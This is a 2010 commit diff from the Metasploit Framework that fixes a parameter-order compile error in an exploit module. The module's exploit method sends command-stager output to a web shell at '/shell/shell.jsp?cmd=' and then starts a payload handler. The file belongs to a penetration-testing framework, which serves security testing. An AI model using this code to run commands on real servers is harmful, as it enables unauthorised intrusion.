fix compile error

git-svn-id: file:///home/svn/framework3/trunk@8723 4d416f70-5f16-0410-b530-b9f4589650da
unstable
Joshua Drake 2010-03-05 06:47:19 +00:00
parent 3d1f773f18
commit de9e944ad9
1 changed files with 2 additions and 2 deletions

View File

@ -65,14 +65,14 @@ class Metasploit3 < Msf::Exploit::Remote
def exploit
cmd_list = generate_cmdstager()
http_send_cmd({'uri' => "/shell/shell.jsp?cmd=CMDS"}, delay = 0.5, cmd_list)
http_send_cmd({'uri' => "/shell/shell.jsp?cmd=CMDS"}, cmd_list, delay = 0.5)
handler
end
def http_send_cmd(opts, delay = 0.5, cmd_list)
def http_send_cmd(opts, cmd_list, delay = 0.5)
total_bytes = 0
cmd_list.each { |cmd| total_bytes += cmd.length }